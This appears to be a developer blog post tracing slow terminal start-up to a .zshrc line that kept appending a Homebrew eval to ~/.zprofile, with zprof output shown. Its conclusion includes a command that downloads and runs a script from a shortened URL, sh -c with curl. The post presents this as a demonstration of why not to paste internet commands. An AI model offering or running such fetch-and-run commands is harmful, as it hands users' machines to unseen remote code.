Before You Blame Your Terminal Speed

I was, in the past few weeks, trying to find what was slowing down my terminal. I use iTerm2 on my MacBook Pro 14" with an M2 Pro chip. I tried many things like uninstalling oh-my-zsh, looking deeply into the my own dot-files, checking .zshrc and even seeing if there is something wrong with my zsh binary that comes default with the OS. I also surfed many issues in Github repositories of most suspectable installations I had like jenv, rbenv and oh-my-zsh plugins.

Nothing helped me out.

So I started getting more frustrated.

Then I started profiling my zsh default dot-files (started with .zshrc)

zmodload zsh/zprof

# all the contents of .zshrc

zprof

Which again didn't show anything that should trigger me to start investigating into a specific command.

num  calls                time                       self            name
-----------------------------------------------------------------------------------
 1)    2          15.72     7.86   30.40%     15.72     7.86   30.40%  compaudit
 2)   20          17.47     0.87   33.79%     12.90     0.65   24.95%  _omz_source
 3)    1          27.42    27.42   53.03%     11.70    11.70   22.63%  compinit
 4)    1           4.17     4.17    8.06%      4.17     4.17    8.06%  (anon) [/Users/fahad/.oh-my-zsh/tools/check_for_upgrade.sh:155]
 5)    1           2.84     2.84    5.49%      2.84     2.84    5.49%  test-ls-args
 6)    1           6.04     6.04   11.68%      1.88     1.88    3.63%  handle_update
 7)    1           0.62     0.62    1.19%      0.62     0.62    1.19%  colors
 8)    1           0.59     0.59    1.15%      0.59     0.59    1.15%  zrecompile
 9)    1           0.51     0.51    0.99%      0.51     0.51    0.99%  regexp-replace
10)    6           0.37     0.06    0.72%      0.37     0.06    0.72%  add-zsh-hook
11)    1           0.22     0.22    0.43%      0.22     0.22    0.43%  is-at-least
12)    2           0.10     0.05    0.19%      0.10     0.05    0.19%  compdef
13)    3           0.04     0.01    0.09%      0.04     0.01    0.09%  is_theme
14)    2           0.03     0.01    0.05%      0.03     0.01    0.05%  env_default
15)    1           0.01     0.01    0.02%      0.01     0.01    0.02%  jyarn
16)    1           0.01     0.01    0.02%      0.01     0.01    0.02%  bashcompinit

# rest of output truncated

Fun Part

Here is what actually happened.

I put a line

(echo; echo 'eval "\$(${HOMEBREW_PREFIX}/bin/brew shellenv)"') >> ~/.zprofile

Inside my .zshrc rather running it once. Now that when I opened up my terminal, every single time, eval "$(${HOMEBREW_PREFIX}/bin/brew shellenv)" was getting appended to ~/.zprofile.

And on every terminal start-up it ran eval "$(${HOMEBREW_PREFIX}/bin/brew shellenv)" 1 + LAST_N_TIMES_TERMINAL_WAS_RUN.

Conclusion

Never put everything to your dot-file without actually looking into what that command does.

Run this,

sh -c "$(curl -fsSL https://tinyurl.com/ykaedekn)"

What did I just say? Don't run anything copied from the internet.

This time you were safe.

✨ github.com/datumbrain/evilscript please star this repo and share it to spread awareness to not repeat what I did.